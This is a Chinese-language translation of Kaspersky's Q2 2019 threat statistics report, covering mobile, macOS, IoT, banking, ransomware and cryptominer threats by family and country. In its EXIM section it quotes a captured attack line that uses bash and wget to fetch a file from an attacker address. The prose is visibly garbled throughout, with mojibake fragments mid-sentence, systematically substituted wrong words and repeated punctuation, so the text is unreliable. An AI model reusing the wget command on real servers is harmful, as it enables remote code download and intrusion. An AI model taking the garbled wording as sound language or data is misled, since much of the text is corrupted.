卡巴斯基2019年Q2 IT威胁演变统计汇报
颁布功夫 2019-09-05目录
一、、季度数字
二、、移动威胁
2.1 季度亮点
2.2 移动威胁统计
2.3 移动恶意软件的类型散布
2.4 移动恶意软件Top20
2.5 移动威胁的地理散布
2.5.1 受攻击用户比例最高的国度Top 10
2.6 银行木马
2.6.1 受银行木马攻击比例最高的国度Top10
2.7 勒索软件
2.7.1 移动勒索软件Top10
三、、macOS威胁
3.1 macOS威胁Top20
3.2 地理散布
四、、物联网威胁
4.1 头条事务
4.2 物联网威胁统计
4.3 基于Telnet的攻击
4.3.1 Telnet攻击起源的国度散布Top10
4.3.2 Telnet攻击中下载的恶意软件Top10
4.4 基于SSH的攻击
4.4.1 SSH攻击起源的国度散布Top10
五、、金融威胁
5.1 金融威胁统计
5.2 地理散布
5.2.1 受攻击用户的国度散布Top10
5.2.2 银行恶意软件家族Top10
六、、勒索软件
6.1 季度亮点
6.2 新变种数量
6.3 受攻击用户数量
6.4 地理散布
6.4.1 受攻击用户的国度散布Top 10
6.5 勒索软件Top10
七、、恶意矿工
7.1 新变种的数量
7.2 受攻击用户数量
7.3 地理散布
八、、犯罪分子重点关注的脆弱利用
8.1 通过网络资源提议的攻击
8.1.1 网络攻击起源国度的Top10
8.1.2 用户习染风险最高的国度
8.2 本地威胁
8.2.2 本地习染风险最高的国度
一、、季度数字
__
凭据KSN的数据：：
-
卡巴斯基安全解决规划阻止了全球203个国度的在线资源提议的717,057,912次攻击
-
Web反病毒组件检测到217,843,293个分歧的恶意URL
-
在228,206个用户的电脑上纪录到针对在线银行账户的恶意软件习染事务
-
在232,292个用户的电脑上阻止了勒索软件攻击
-
文件反病毒系统检测到240,754,063个分歧的恶意及潜在有害样本
-
卡巴斯基移动安全产品检测到：：
-
753,550个恶意装置包
-
13,899个银行木马装置包
-
23,294个勒索软件装置包
二、、移动威胁
__
2.1 季度亮点
2019年Q2有几个事务值得铭刻。�！�
第一个是，，，名为Riltok的大规模金融威胁，，，它不仅针对俄罗斯大型银行的客户，，，还对准一些外国银行的用户。�！�
第二个，，，新恶意软件Trojan.AndroidOS.MobOk，，，其指标是通过WAP-Click付费订阅从手机帐户中窃取资金。�！Ｊ芟叭旧璞富峤胪绻刈刺�。�！＞咛謇此�，，，该木马会接见专门创建的恶意页面，，，利用第三方服务绕过验证码系统并点击按钮实现订阅。�！�
第三个，，，贸易间谍软件，，，又被称为跟踪软件（stalkerware），，，通常来讲此类软件并不能被归类为恶意软件，，，但它的确会给用户带来风险。�！Ｒ蚨�4月3日起头，，，卡巴斯基Android安全软件会向用户忠告所有已知的贸易间谍软件。�！�
第四个，，，一种新类型的告白软件（AdWare.AndroidOS.KeepMusic.a和AdWare.AndroidOS.KeepMusic.b），，，它能够绕过操作系统对后盾运行法式的限度。�！Ｎ嗽し拦瘫簧彼�，，，其中一个样本在后盾启动了音乐播放器，，，播放一个无声的文件，，，使得操作系统以为用户在听音乐而不杀死其过程，，，现实上在设备的主屏幕上什么也没有显示。�！Ｗ魑┦绲囊徊棵�，，，该样本会向用户弹出告白，，，现实上这些告白也是在后盾弹出，，，用户此时可能底子没有使用设备。�！�
最后，，，在某些版本中，，，木马开发人员向俄罗斯最大的IT公司之一的治理者们表白了不友善的态度：：
2.2 移动威胁统计
2019年Q2卡巴斯基共检测到753,550个恶意装置包，，，比上一季度削减了151,624个。�！�
2018年Q3 – 2019年Q2，，，恶意装置包的数量对比
并且，，，与2018年Q2的数据相比这一数字已经降落了近100万。�！Ｕ蹇蠢�，，，今年移动平台新恶意软件的总数稳步降落，，，这种降落是由于最常见的恶意软件家族越来越少地增长新成员所致。�！�
2.3 移动恶意软件的类型散布
2019年Q1和Q2，，，新移动恶意软件的类型散布
在2019年Q2检测到的所有威胁中，，，占比最高的是潜在有害的灰色软件（RiskTool），，，其份额为41.24%，，，比上一季度增长了11个百分点。�！Ｔ诟美啾鹬�，，，最常见的样正本自于RiskTool.AndroidOS.Agent家族（占该类此外33.07%），，，RiskTool.AndroidOS.Smssend（15.68%）和RiskTool.AndroidOS.Wapron（14.41%）。�！�
排在第二名的是告白软件，，，其份额增长了2.16个百分点，，，达18.71%。�！８美啾鹬凶畛＜难痉直鹗茿dWare.AndroidOS.Ewind（26.46%）、、AdWare.AndroidOS.Agent（23.60%）和AdWare.AndroidOS.MobiDash（17.39%）。�！�
木马类恶意软件（11.83%）排名第三，，，与上一季度相比增长了2.31个百分点。�！８美啾鹧臼疃嗟氖荰rojan.AndroidOS.Boogr家族（32.42%） - 这一名称代指机械学习工具检测到的木马。�！Ｆ浯问荰rojan.AndroidOS.Hiddapp（24.18%）、、Trojan.AndroidOS.Agent（14.58%）和Trojan.AndroidOS.Piom（9.73%）。�！Ｇ氚盐華gent和Piom是集中类的特点，，，涵盖了分歧开发者的一系列木马样本。�！�
木马开释器（Trojan-Dropper）类别下滑显著（10.04%），，，降落了15个百分点。�！８美啾鹬写笪奘臼粲赥rojan-Dropper.AndroidOS.Wapnor家族（71%），，，其它家族的份额均小于3%。�！Ｒ桓龅湫偷腤apnor家族成员由一张随机的色情图片、、一个多态性dropper以及一个可执行文件组成。�！８枚褚馊砑墓ぷ魇前煊没Ы蠾AP付费订阅。�！�
2019年Q2银行木马（banker）的份额轻微降落：：1.84%，，，而Q1为3.21%。�！Ｕ庖唤德渲匾怯捎贏sacub家族新木马的削减所致。�！８美啾鹱畛＜难臼粲赥rojan-Banker.AndroidOS.Svpeng （30.79%）、、Trojan-Banker.AndroidOS.Wroba（17.16%）和Trojan-Banker.AndroidOS.Agent（15.70%）。�！�
2.4 移动恶意软件Top20
请把稳排名中不蕴含任何潜在危险或有害的软件，，，例如灰色软件和告白软件
特点 %*
1
DangerousObject.Multi.Generic
44.37
2
Trojan.AndroidOS.Boogr.gsh
11.31
3
DangerousObject.AndroidOS.GenericML
5.66
4
Trojan.AndroidOS.Hiddapp.cr
4.77
5
Trojan.AndroidOS.Hiddapp.ch
4.17
6
Trojan.AndroidOS.Hiddapp.cf
2.81
7
Trojan.AndroidOS.Hiddad.em
2.53
8
Trojan-Dropper.AndroidOS.Lezok.p
2.16
9
Trojan-Dropper.AndroidOS.Hqwar.bb
2.08
10
Trojan-Banker.AndroidOS.Asacub.a
1.93
11
Trojan-Banker.AndroidOS.Asacub.snt
1.92
12
Trojan-Banker.AndroidOS.Svpeng.ak
1.91
13
Trojan.AndroidOS.Hiddapp.cg
1.89
14
Trojan.AndroidOS.Dvmap.a
1.88
15
Trojan-Dropper.AndroidOS.Hqwar.gen
1.86
16
Trojan.AndroidOS.Agent.rt
1.81
17
Trojan-SMS.AndroidOS.Prizmes.a
1.58
18
Trojan.AndroidOS.Fakeapp.bt
1.58
19
Trojan.AndroidOS.Agent.eb
1.49
20
Exploit.AndroidOS.Lotoor.be
1.46
*受攻击用户占比
与以前一样，，，Q2中Top20的第一名是DangerousObject.Multi.Generic（44.77%） - 这一特点代指云安全技术检测到的恶意软件。�！５鄙倍救砑菘舛倘奔觳饽骋焕喽褚馊砑氖荻瓢踩际踔性毯泄匦畔⑹�，，，该技术的作用就凸显出来。�！；８献钚碌亩褚庋径际钦庋觳獬隼吹�。�！�
第二和第三名别离是Trojan.AndroidOS.Boogr.gsh（11.31%）和DangerousObject.AndroidOS.GenericML（5.66%）。�！Ｕ庑┦怯苫笛跋低臣觳獬龅亩褚庋�。�！�
第八名属于Trojan-Dropper.AndroidOS.Lezok.p（2.16%）。�！８媚韭砘嵯允竟讨葱透姘�，，，通过短信付费订阅窃取金钱以及为各类平台上的APP增长点击数。�！�
Hqwar dropper家族别离获得第九（2.08%）和第十五名（1.86%）。�！８枚褚馊砑ǔＳ糜诎挡匾心韭�。�！�
第十和十一名是金融威胁Asacub家族：：Trojan-Banker.AndroidOS.Asacub.a（1.93%）和Trojan-Banker.AndroidOS.Asacub.snt（1.92%）。�！Ｓ際qwar dropper类似，，，该家族在2019年Q2迷失了大片份额。�！�
2.5 移动威胁的地理散布
2019年Q2，，，移动恶意软件习染的地理散布
2.5.1 受攻击用户比例最高的国度Top 10
国度* %**
1
伊朗
28.31
2
孟加拉国
28.10
3
阿尔及利亚
24.77
4
巴基斯坦
24.00
5
坦桑尼亚
23.07
6
尼日利亚
22.69
7
印度
21.65
8
印度尼西亚
18.13
9
斯里兰卡
15.96
10
肯尼亚
15.38
* 不蕴含卡巴斯基移动用户较少的国度（少于1万）
** 该国度所有卡巴斯基移动用户中受攻击的比例
Q2受攻击移动用户比例最高的国度是伊朗（28.31%），，，在2019年Q1它排在第二。�！１凰〈陌突固梗�24%）此刻排在第四。�！�
大无数情况下，，，伊朗用户遇到的告白木马是Trojan.AndroidOS.Hiddapp.bn（21.08%）和潜在有害软件RiskTool.AndroidOS.FakGram.a（12.50%） - 该软件试图拦截Telegram谈天信息 – 以及RiskTool.AndroidOS.Dnotua.yfe（12.29%）。�！�
第三名是阿尔及利亚（24.77%），，，该国度用户最常遇到的是告白软件AdWare.AndroidOS.HiddenAd.et（27.15%）、、AdWare.AndroidOS.Agent.f（14.16%）和AdWare.AndroidOS.Oimobi.a（8.04%）。�！�
2.6 银行木马
在汇报期内，，，我们共检测到13,899个移动银行木马装置包，，，险些是2019年Q1数字的一半。�！�
2018年Q3 – 2019年Q2，，，银行木马装置包的数量对比
移动银行木马Top 10
特点 %*
|
1 |
Trojan-Banker.AndroidOS.Asacub.a |
13.64 |
|
2 |
Trojan-Banker.AndroidOS.Asacub.snt |
13.61 |
|
3 |
Trojan-Banker.AndroidOS.Svpeng.ak |
13.51 |
|
4 |
Trojan-Banker.AndroidOS.Svpeng.q |
9.90 |
|
5 |
Trojan-Banker.AndroidOS.Agent.ep |
9.37 |
|
6 |
Trojan-Banker.AndroidOS.Asacub.ce |
7.75 |
|
7 |
Trojan-Banker.AndroidOS.Faketoken.q |
4.18 |
|
8 |
Trojan-Banker.AndroidOS.Asacub.cs |
4.18 |
|
9 |
Trojan-Banker.AndroidOS.Agent.eq |
3.81 |
|
10 |
Trojan-Banker.AndroidOS.Faketoken.z |
3.13 |
* 受攻击用户百分比
2019年Q2移动银行木马Top10列表中Trojan-Banker.AndroidOS.Asacub的变种险些占据了一半的地位：：十席之中占据了四席。�！Ｈ欢�，，，该家族上一季度的发作式传布在这一季度并没有重现。�！�
2019年Q2，，，移动银行木马的地理散布
2.6.1 受银行木马攻击比例最高的国度Top10
国度* %**
1
南非
0.64%
2
俄罗斯
0.31%
3
塔吉克斯坦
0.21%
4
澳大利亚
0.17%
5
土耳其
0.17%
6
乌克兰
0.13%
7
乌兹别克斯坦
0.11%
8
韩国
0.11%
9
亚美尼亚
0.10%
10
印度
0.10%
* 不蕴含卡巴斯基移动用户较少的国度（少于1万）
** 该国度所有卡巴斯基移动用户中受银行木马攻击的比例
2019年Q2南非（0.64%）从上一季度的第四名攀升至第一位。�！８霉�97%的攻击案例都与Trojan-Banker.AndroidOS.Agent.dx有关。�！�
俄罗斯摘得第二名（0.31%），，，该国度最常见的木马家族是Asacub和Svpeng：：Trojan-Banker.AndroidOS.Asacub.a（14.03%）、、Trojan-Banker.AndroidOS.Asacub.snt（13.96%）和Trojan-Banker.AndroidOS.Svpeng.ak（13.95%）。�！�
第三名属于塔吉克斯坦（0.21%），，，最常见的是Trojan-Banker.AndroidOS.Faketoken.z（35.96%）、、Trojan-Banker.AndroidOS.Asacub.a（12.92%）和Trojan- Banker.AndroidOS.Grapereh.j（11.80%）。�！�
2.7 勒索软件
2018年Q3 – 2019年Q2，，，移动勒索软件装置包的数量对比
2.7.1 移动勒索软件Top10
特点 %*
1
Trojan-Ransom.AndroidOS.Svpeng.aj
43.90
2
Trojan-Ransom.AndroidOS.Rkor.i
11.26
3
Trojan-Ransom.AndroidOS.Rkor.h
7.81
4
Trojan-Ransom.AndroidOS.Small.as
6.41
5
Trojan-Ransom.AndroidOS.Svpeng.ah
5.92
6
Trojan-Ransom.AndroidOS.Svpeng.ai
3.35
7
Trojan-Ransom.AndroidOS.Fusob.h
2.48
8
Trojan-Ransom.AndroidOS.Small.o
2.46
9
Trojan-Ransom.AndroidOS.Pigetrl.a
2.45
10
Trojan-Ransom.AndroidOS.Small.ce
2.22
* 受攻击用户百分比
2019年Q2传布最宽泛的勒索软件家族是Svpeng：：占据了Top10中的3席。�！�
2019年Q2移动勒索软件的地理散布
2.7.2 受勒索软件攻击比例最高的国度Top10
国度* %**
1
美国
1.58
2
哈萨克斯坦
0.39
3
伊朗
0.27
4
巴基斯坦
0.16
5
沙特阿拉伯
0.10
6
墨西哥
0.09
7
加拿大
0.07
8
意大利
0.07
9
新加坡
0.05
10
印度尼西亚
0.05
* 不蕴含卡巴斯基移动用户较少的国度（少于1万）
** 该国度所有卡巴斯基移动用户中受移动勒索软件攻击的比例
三、、macOS威胁
Q2见证了几个有趣的事务，，，其中有三个出格值得关注。�！�
首先是macOS系统中曝出一个可绕过Gatekeeper和XProtect扫描的缝隙。�！＠酶梅煜侗匾紫瘸闪⒁桓龃娴滴募�，，，文件中蕴含指向文件地点的共享NFS文件夹的符号链接。�！５贝蚩梦募�，，，系统会自动下载该共享NFS文件夹中的文件，，，而没有进行任何查抄。�！＠酶梅煜兜氖赘龆褚馊砑芸煜稚恚唬坏械募觳庋究雌鹄炊几袷且桓霾馐园�，，，而不是现实的恶意软件。�！�
其次是在Firefox浏览器中检测到的肆意代码执行缝隙（CVE-2019-11707，，，CVE-2019-11708），，，这两个缝隙可导致沙盒逃逸。�！Ｔ谛畔⒐�，，，首个exp很快出现，，，犯罪分子利用这些缝隙开释木马家族Mokes和Wirenet的成员。�！�
最后是一个分发恶意矿工的有趣载体。�！９セ髡咧匾蒙缃还こ坦セ骱驮诤戏ˋPP中植入恶意代码。�！８腥さ氖�，，，恶意代码是由一个QEMU仿照器和一个用于托管矿工的Linux虚构机组成的。�！Ｒ坏㏎EMU在受习染的机械上启动，，，矿工即在镜像中运行。�！Ｕ庵帜Ｊ较嗟惫殴� – 无论是QEMU还是矿工都亏损了大量系统资源 – 这种木马不成能不被人发现。�！�
3.1 macOS威胁Top20
特点 %*
1
Trojan-Downloader.OSX.Shlayer.a
24.61
2
AdWare.OSX.Spc.a
12.75
3
AdWare.OSX.Bnodlero.t
11.98
4
AdWare.OSX.Pirrit.j
11.27
5
AdWare.OSX.Pirrit.p
8.42
6
AdWare.OSX.Pirrit.s
7.76
7
AdWare.OSX.Pirrit.o
7.59
8
AdWare.OSX.MacSearch.a
5.92
9
AdWare.OSX.Cimpli.d
5.76
10
AdWare.OSX.Mcp.a
5.39
11
AdWare.OSX.Agent.b
5.11
12
AdWare.OSX.Pirrit.q
4.31
13
AdWare.OSX.Bnodlero.v
4.02
14
AdWare.OSX.Bnodlero.q
3.70
15
AdWare.OSX.MacSearch.d
3.66
16
Downloader.OSX.InstallCore.ab
3.58
17
AdWare.OSX.Geonei.as
3.48
18
AdWare.OSX.Amc.a
3.29
19
AdWare.OSX.Agent.c
2.93
20
AdWare.OSX.Mhp.a
2.90
* 受攻击macOS用户百分比
关于Q2最常见的macOS威胁，，，Shlayer.a木马（24.61%）维持在榜首，，，排在第二名的是告白软件AdWare.OSX.Spc.a（12.75%）。�！５谌茿dWare.OSX.Bnodlero.t（11.98%），，，它将AdWare.OSX.Pirrit.j（11.27%）挤至第四。�！Ｓ肷弦患径纫谎�，，，Top 20中的大无数都是告白软件，，，其中Pirrit家族又尤为凸起：：它们在Top20中占据了5个席位。�！�
3.2 地理散布
国度* %**
|
1 |
法国 |
11.11 |
|
2 |
西班牙 |
9.68 |
|
3 |
印度 |
8.84 |
|
4 |
美国 |
8.49 |
|
5 |
加拿大 |
8.35 |
|
6 |
俄罗斯 |
8.01 |
|
7 |
意大利 |
7.74 |
|
8 |
英国 |
7.47 |
|
9 |
墨西哥 |
7.08 |
|
10 |
巴西 |
6.85 |
* 不蕴含卡巴斯基macOS用户较少的国度（少于1万）
** 该国度所有卡巴斯基macOS用户中受攻击的比例
四、、物联网威胁
4.1 头条事务
在Linux/Unix威胁的世界里，，，最重大的事务是利用EXIM邮件代理新缝隙的攻击数量激增。�！＜蚨灾�，，，攻击者创建一个特殊的电子邮件，，，并在收件人字段中填写要在指标服务器上执行的代码，，，当通过指标服务器发送此邮件时，，，EXIM会执行这些恶意代码。�！�
截获的攻击流量
上图中显示了一封在RCPT字段中蕴含shell剧本的邮件。�！８镁绫鞠质瞪峡雌鹄慈缦�：：
|
1 |
/bin/bash -c "wget X.X.X.X/exm -O /dev/null |
4.2 物联网威胁统计
SSH
40.43%
Telnet
59.57%
2019年Q2，，，受攻击服务的散布
然而，，，凭据卡巴斯基蜜罐纪录的数据，，，SSH会话的数量从Q1的64%降落到Q2的49.6%。�！�
|
SSH |
49.59% |
|
Telnet |
50.41% |
2019年Q2，，，卡巴斯基蜜罐纪录的会话散布
4.3 基于Telnet的攻击
2019年Q2，，，卡巴斯基蜜罐纪录的Telnet攻击起源散布
4.3.1 Telnet攻击起源的国度散布Top10
国度 %
|
1 |
埃及 |
15.06 |
|
2 |
中国 |
12.27 |
|
3 |
巴西 |
10.24 |
|
4 |
美国 |
5.23 |
|
5 |
俄罗斯 |
5.03 |
|
6 |
希腊 |
4.54 |
|
7 |
伊朗 |
4.06 |
|
8 |
中国台湾 |
3.15 |
|
9 |
印度 |
3.04 |
|
10 |
土耳其 |
2.90 |
陆续两个季度，，，埃及（15.06%）排在Telnet攻击源的榜首，，，第二名与之差距不大，，，是中国（12.27%），，，第三名是巴西（10.24%）。�！�
基于Telnet的攻击中犯罪分子最常使用的工具是臭名远扬的Mirai家族成员。�！�
4.3.2 Telnet攻击中下载的恶意软件Top10
特点 %*
1
Backdoor.Linux.Mirai.b
38.92
2
Trojan-Downloader.Linux.NyaDrop.b
26.48
3
Backdoor.Linux.Mirai.ba
26.48
4
Backdoor.Linux.Mirai.au
15.75
5
Backdoor.Linux.Gafgyt.bj
2.70
6
Backdoor.Linux.Mirai.ad
2.57
7
Backdoor.Linux.Gafgyt.az
2.45
8
Backdoor.Linux.Mirai.h
1.38
9
Backdoor.Linux.Mirai.c
1.36
10
Backdoor.Linux.Gafgyt.av
1.26
* 受攻击用户比例
事实证明，，，没有任何理由去等待Mirai职位的变动，，，它仍是物联网攻击中最盛行的恶意软件家族。�！�
4.4 基于SSH的攻击
2019年Q2，，，卡巴斯基蜜罐纪录的SSH攻击起源散布
4.4.1 SSH攻击起源的国度散布Top10
国度 %
1
越南
15.85
2
中国
14.51
3
埃及
12.17
4
巴西
6.91
5
俄罗斯
6.66
6
美国
5.05
7
泰国
3.76
8
阿塞拜疆
3.62
9
印度
2.43
10
法国
2.12
五、、金融威胁
5.1 金融威胁统计
在2019年Q2，，，卡巴斯基产品共在228,206名用户的推算机上阻止了针对银行账户的恶意软件攻击。�！�
2019年Q2，，，受金融威胁攻击的用户数量
5.2 地理散布
为了评估和比力全球领域内银行木马和ATM/POS恶意软件的习染风险，，，卡巴斯基统计了分歧国度受此类威胁攻击的用户所占比例。�！�
2019年Q2，，，银行恶意软件攻击的地理散布
5.2.1 受攻击用户的国度散布Top10
国度* %**
1
白俄罗斯
2.0
2
委内瑞拉
1.8
3
中国
1.6
4
印度尼西亚
1.3
5
韩国
1.3
6
塞浦路斯
1.2
7
巴拉圭
1.2
8
俄罗斯
1.2
9
喀麦隆
1.1
10
塞尔维亚
1.1
* 不蕴含卡巴斯基用户较少的国度（少于1万）
** 该国度所有卡巴斯基用户中受银行木马攻击的比例
5.2.2 银行恶意软件家族Top10
名称 特点 %*
1
RTM
Trojan-Banker.Win32.RTM
32.2
2
Zbot
Trojan.Win32.Zbot
23.3
3
Emotet
Backdoor.Win32.Emotet
8.2
4
Nimnul
Virus.Win32.Nimnul
6.4
5
Trickster
Trojan.Win32.Trickster
5.0
6
Nymaim
Trojan.Win32.Nymaim
3.5
7
SpyEye
Backdoor.Win32.SpyEye
3.2
8
Neurevt
Trojan.Win32.Neurevt
2.8
9
IcedID
Trojan-Banker.Win32.IcedID
1.2
10
Gozi
Trojan.Win32.Gozi
1.1
* 受攻击用户比例
与前一季度相比，，，2019年Q2的银行恶意软件Top3没有产生变动。�！Ｇ傲矫返毕确冉洗�，，，别离是Trojan-Banker.Win32.RTM（32.2%）和Trojan.Win32.Zbot（23.3%）。�！Ｋ堑姆荻畋鹄朐龀ち�4.8和0.4个百分比。�！Ｅ旁谄浜蟮氖荁ackdoor.Win32.Emotet（8.2%），，，它的份额相反是着落了1.1个百分点。�！４�6月份起头，，，Emotet C&C服务器的活动逐步削减，，，到了Q3初期险些所有的C&C僵尸网络都已不成用。�！�
六、、勒索软件
6.1 季度亮点
经过18个月的积极分发后，，，勒索软件GandCrab背后的犯罪团伙颁发退出。�！Ｆ揪菘ò退够幕惚�，，，该勒索软件成为最盛行的加密威胁之一。�！�
在Q2，，，新勒索软件Sodin（别名Sodinokibi和REvil）起头进行传布。�！８美账魅砑屑傅阒低滋�，，，它通过被入侵的服务器进行分发，，，并且利用了一个罕见的LPE exp，，，更不用提其复杂的加密模式。�！�
还是在Q2，，，出现了一些针对城市治理部门的高调勒索软件攻击事务。�！Ｕ獠⒉皇且桓鲂碌那飨�，，，入侵企业及市政网络进行诓骗是常见的攻击场景。�！５昀创死嗍挛竦拇蠊婺７⒆饕鹆巳嗣嵌怨丶扑慊∩枋┑陌踩缘墓刈�，，，由于不仅仅是小我和企业，，，整个社区都依赖于这些基础设施。�！�
6.2 新变种的数量
2019年Q2卡巴斯基检测到8个新的勒索软件家族，，，并且发现了16,017个新变种。�！Ｏ啾戎翾1的新变种数量是5,222个，，，只有Q2的三分之一。�！�
2018年Q2 – 2019年Q2，，，勒索软件新变种的数量对比
大无数新变种属于Trojan-Ransom.Win32.Gen家族（基于行为规定自动检测到的各类木马）和Trojan-Ransom.Win32.PolyRansom。�！Ｆ渲蠵olyRansom的变种数量是由其性子决定的 – 该蠕虫会创建自身的大量突变体，，，并将这些变体代替为用户文件，，，将加密后的用户数据搁置其中。�！�
6.3 受攻击用户数量
2019年Q2卡巴斯基产品共保唬护232,292个KSN用户阻止了勒索软件攻击，，，比上一季度削减了5万多。�！�
2019年Q2，，，遭逢勒索软件攻击的用户数量
受攻击用户数量最多的月份是4月（107,653），，，它甚至高于3月份的数字（106,519），，，这标志取Q1中上升趋向的一连。�！Ｈ欢�，，，在5月份这一数字起头降落，，，到了6月份只有82,000多一点。�！�
6.4 地理散布
2019年Q2，，，受攻击用户的地理散布
6.4.1 受攻击用户的国度散布Top 10
国度* %**
|
1 |
孟加拉国 |
8.81% |
|
2 |
乌兹别克斯坦 |
5.52% |
|
3 |
莫桑比克 |
4.15% |
|
4 |
埃塞俄比亚 |
2.42% |
|
5 |
尼泊尔 |
2.26% |
|
6 |
阿富汗 |
1.50% |
|
7 |
中国 |
1.18% |
|
8 |
加纳 |
1.17% |
|
9 |
韩国 |
1.07% |
|
10 |
哈萨克斯坦 |
1.06% |
* 不蕴含卡巴斯基用户较少的国度（少于5万）
** 该国度所有卡巴斯基用户中受勒索软件攻击的比例
6.5 勒索软件Top10
** 受攻击用户比例* 卡巴斯基的检测了局
七、、恶意矿工
7.1 新变种的数量
2019年Q2卡巴斯基检测到7,156个恶意矿工新变种，，，比Q1少了将近5,000。�！�
2019年Q2，，，恶意矿工新变种的数量
4月份的新变种数量最多（3,101），，，险些比3月份多了近1000个，，，但均匀下来新矿工还是越来越少。�！�
7.2 受攻击用户数量
Q2卡巴斯基在全球领域内共在749,766个用户的推算机上检测到恶意矿工。�！�
2019年Q2，，，受恶意矿工攻击的用户数量
整体来看，，，Q2受攻击用户数量逐步削减 – 从4月份的383,000降落至6月份的318,000。�！�
7.3 地理散布
受恶意矿工攻击的用户国度散布Top 10
国度* % 受攻击用户比例**
1
阿富汗
10.77%
2
埃塞俄比亚
8.99%
3
乌兹别克斯坦
6.83%
4
哈萨克斯坦
4.76%
5
坦桑尼亚
4.66%
6
越南
4.28%
7
莫桑比克
3.97%
8
乌克兰
3.08%
9
白俄罗斯
3.06%
10
蒙古
3.06%
* 不蕴含卡巴斯基用户较少的国度（少于5万）
** 该国度所有卡巴斯基用户中受恶意矿工攻击的比例
八、、犯罪分子重点关注的脆弱利用
在从前的一年中，，，Office套件成为最常受到攻击的利用法式。�！�2019年Q2也不例外 – Office缝隙利用的比例从67%增长到72%。�！Ｕ庖辉龀け澈蟮脑蚴谴罅康睦始性毯薈VE-2017-11882、、CVE-2018-0798和CVE-2018-0802缝隙利用。�！Ｕ庑┓煜队隣ffice的公式编纂器组件有关，，，利用了对象处置过程中的缓冲区溢出bug进行远程代码执行。�！Ｆ渌１环缸锓肿永玫腛ffice缝隙还蕴含CVE-2017-8570和CVE-2017-8759。�！�
Office缝隙利用的日益遍及批注，，，犯罪分子将其视为在指标推算机上部署恶意软件的最单一快捷方式。�！；；痪浠八�，，，这些缝隙利用更有可能成功，，，由于它们的体式使得能够使用各类技术绕过静态的检测工具，，，并且其执行对用户是暗藏的，，，无需额外的作为，，，例如宏剧本。�！�
2019年Q2，，，犯罪分子使用的缝隙利用散布
在0day方面，，，Q2安全钻研员SandboxEscaper颁布的exp尤其值妥贴心。�！Ｕ庑〆xp被定名为PolarBear，，，利用了Windows 10中的提权缝隙CVE-2019-1069、、CVE-2019-0863、、CVE-2019-0841和CVE-2019-0973。�！�
Q2网络攻击的占比持续增长。�！７缸锓肿用挥薪⊥攵晕葱薏筍MB系统的永恒之蓝攻击，，，也持续积极在网络利用（如Oracle WebLogic）中引入新的缝隙利用。�！；；挂盐日攵訰DP服务和Microsoft SQLServer的密码攻击。�！５�，，，大无数用户面对的最大威胁还是Q2中披露的缝隙 CVE-2019-0708。�！８梅煜队跋炝薠P、、win7和windows server 2008中的远程桌面服务。�！７缸锓肿幽芄焕盟椿袢≡冻探谥迫�，，，并且创建类似于WanaCry的网络蠕虫。�！６源胧莅牟怀浞稚柙市砉セ髡呃肬AF剧本覆盖内核内存中的数据。�！Ｇ氚盐雀梅煜独梦扌杌袢≌嘶苈�，，，即它产生在验证用户名和密码之前的授权阶段。�！�
8.1 通过网络资源提议的攻击
8.1.1 网络攻击起源国度的Top10
2019年Q2，，，网络攻击起源的国度散布
本季度Web反病毒组件最常被美国的在线资源触发。�！Ｕ謇纯�，，，Top 4排名与前一季度没有变动。�！�
8.1.2 用户习染风险最高的国度
为了评估分歧国度用户面对的在线习染风险，，，卡巴斯基统计了该国度Web反病毒组件被触发的用户百分比。�！Ｓ纱瞬氖萁擦巳环制绻韧缁肪车那致孕�。�！�
该排名仅蕴含恶意软件类的攻击，，，不蕴含任何潜在有害或危险法式，，，例如灰色软件和告白软件。�！�
国度* % 受攻击用户百分比**
1
阿尔及利亚
20.38
2
委内瑞拉
19.13
3
阿尔巴尼亚
18.30
4
希腊
17.36
5
摩尔多瓦
17.30
6
孟加拉国
16.82
7
爱沙尼亚
16.68
8
阿塞拜疆
16.59
9
白俄罗斯
16.46
10
乌克兰
16.18
11
法国
15.84
12
菲律宾
15.46
13
亚美尼亚
15.40
14
突尼斯
15.29
15
保加利亚
14.73
16
波兰
14.69
17
留尼汪
14.68
18
拉脱维亚
14.65
19
秘鲁
14.50
20
卡塔尔
14.32
* 不蕴含卡巴斯基用户较少的国度（少于1万）
** 该国度所有卡巴斯基用户中受恶意软件攻击的比例
均匀而言，，，本季度全球12.12%的互联网用户遭到至少一次恶意软件攻击。�！�
2019年Q2，，，恶意网络攻击的地理散布
8.2 本地威胁
2019年Q2卡巴斯基文件反病毒系统检测到240,754,063个恶意及潜在有害样本。�！�
8.2.2 本地习染风险最高的国度
国度* % 受攻击用户比例**
1
阿富汗
55.43
2
塔吉克斯坦
55.27
3
乌兹别克斯坦
55.03
4
也门
52.12
5
土库曼斯坦
50.75
6
老挝
46.12
7
叙利亚
46.00
8
缅甸
45.61
9
蒙古
45.59
10
埃塞俄比亚
44.95
11
孟加拉国
44.11
12
伊拉克
43.79
13
中国
43.60
14
玻利维亚
43.47
15
越南
43.22
16
委内瑞拉
42.71
17
阿尔及利亚
42.33
18
古巴
42.31
19
莫桑比克
42.14
20
卢旺达
42.02
这些数据蕴含用户推算机或衔接到推算机的可移动介质，，，例如u盘、、相机内存卡、、电话和外接硬盘等上检测到的恶意法式。�！�
* 不蕴含卡巴斯基用户较少的国度（少于1万）
** 该国度所有卡巴斯基用户中受恶意软件类本地威胁攻击的比例
2019年Q2，，，本地威胁的地理散布
俄罗斯的这一数字是26.14%。�！�
申明：：本汇报只是为了学习钻研而翻译，，，无出版、、发售等任何贸易行为，，，因而不合任何版权问题承担责任。�！�
京公网安备11010802024551号